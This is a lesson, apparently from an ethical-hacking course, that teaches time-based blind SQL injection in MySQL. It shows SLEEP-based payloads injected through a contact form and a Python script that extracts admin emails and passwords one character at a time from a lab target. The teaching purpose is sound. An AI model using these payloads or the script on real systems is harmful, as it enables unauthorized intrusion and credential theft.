SQL Injection

(MySQL) Time-based blind SQL Injection technique

Hard
45 min

Time-based injection technique

In this module, we will familiarize ourselves with time-based blind injection technique. The downside is that it is terribly slow, and the upside is that often it can be exploited when no other technique works.

The purpose is to determine, based on the response delay of the HTTP response, whether the answer is yes or no. If you are not sure what the response and question are about, please return to the previous module and do it first.

SLEEP

MySQL contains a function called SLEEP which does exactly what is needed, i.e., it pauses for X amount of seconds. For example, this query would wait for five seconds:

SLEEP(5)

SLEEP is also handy in that it can be inserted almost anywhere. Let's take an example text: we can directly connect SLEEP command after the text by giving a numeric value to the text and then placing a pipe (bitwise OR operation) after the text, and a SLEEP call.

SELECT('0'|SLEEP(5)) -- would sleep for 5 seconds

(It is not important for this matter what "bittioperaatio OR" means, but here is it for the curious: https://en.wikipedia.org/wiki/Bit_operation)

Yes or no

So we can use the SLEEP function to infer a yes or no answer in the following way.

(SELECT IF(1=1,SLEEP(3),1/0))

If the response is delayed by 3 seconds, the response is yes (1=1). Otherwise, the response returns immediately and causes an error because you cannot divide by zero. We intentionally make an error so that the application does not get filled with useless messages.

There is a contact form in the exercise task for you to practice the attack. You should start by causing a delay in the first place:

INSERT INTO message (user_id, message) VALUES (82, '0'|sleep(5))-- ')

Then you can replace a simple sleep call with a subquery:

(SELECT IF(1=1,SLEEP(3),1/0))

When you try to make the application execute SQL that looks approximately like this.

INSERT INTO message (user_id, message) VALUES (82, '0'|(SELECT IF(1=1,SLEEP(3),1/0)))-- ')

To attack

When the basic idea of the attack works, and you make the application wait for a moment while 1=1 and return immediately when 1=2, you can proceed exactly the same way as in the previous module.

0'|(SELECT IF(ASCII(SUBSTRING((SELECT CONCAT(email,":",password) FROM user WHERE admin=True),1,1))>1,sleep(5),1/0))) --

Automation with Python

Here is a similar script as in the last module, with the difference that the HTTP message is of course different and the yes/no recognition now happens based on time. Time-based recognition is not quite as accurate (e.g. network delays), so we have added double verification.

Same thing as last time; you can use the script, but practice resolving the first character manually first.

#!/usr/bin/env python3


import requests
import time


BASE_URL = 'https://www-your-instance-id.ha-target.com/message'
QUERY = 'SELECT CONCAT(email,":",password) FROM user WHERE admin=True'
SESSION_ID = 'your-session-id'
SLEEP_SECONDS = 2
CAUSE_DELAY = f"SLEEP({SLEEP_SECONDS})"
CAUSE_ERROR = '1/0'


def is_true(pos, operator, value):
    payload = f"0'|(SELECT IF(ASCII(SUBSTRING(({QUERY}),{pos},1)){operator}{value},{CAUSE_DELAY},{CAUSE_ERROR})))-- "
    res = requests.post(BASE_URL, data={
        'message': payload
    }, cookies={'session': SESSION_ID})
    result = res.elapsed.total_seconds() >= SLEEP_SECONDS

    print(f'[*] ASCII at pos {pos} {operator} {value}: {result}', flush=True)
    time.sleep(0.2)
    return result

pos = 1
result = ''
high = 128
low = 32

while True:
    try:
        mid = int((high + low)/2)
        if is_true(pos, '>', mid):
            low = mid
        else:
            high = mid
        
        if abs(high - low) <= 1:
            if is_true(pos, '=', high):
                result += chr(high)
            elif is_true(pos, '=', low):
                result += chr(low)
            else: # Error due to network delay etc, try pos again.
                high = 128
                low = 32
                continue

            pos += 1
            high = 128
            low = 32
            print('> %s' % result)
            if is_true(pos, '=', 0):
                break
        
    except KeyboardInterrupt:
        break

print('[+] Done. Result: %s' % result)

Silence is a sign of acquiescence

In this lab, you will practice time-based blind SQL injection technique.

Objective

Log in as an admin user.

Hint

Exercises

Flag

Find the flag from the lab environment and enter it below.

hakatemia pro

Ready to become an ethical hacker?
Start today.

As a member of Hakatemia you get unlimited access to Hakatemia modules, exercises and tools, and you get access to the Hakatemia Discord channel where you can ask for help from both instructors and other Hakatemia members.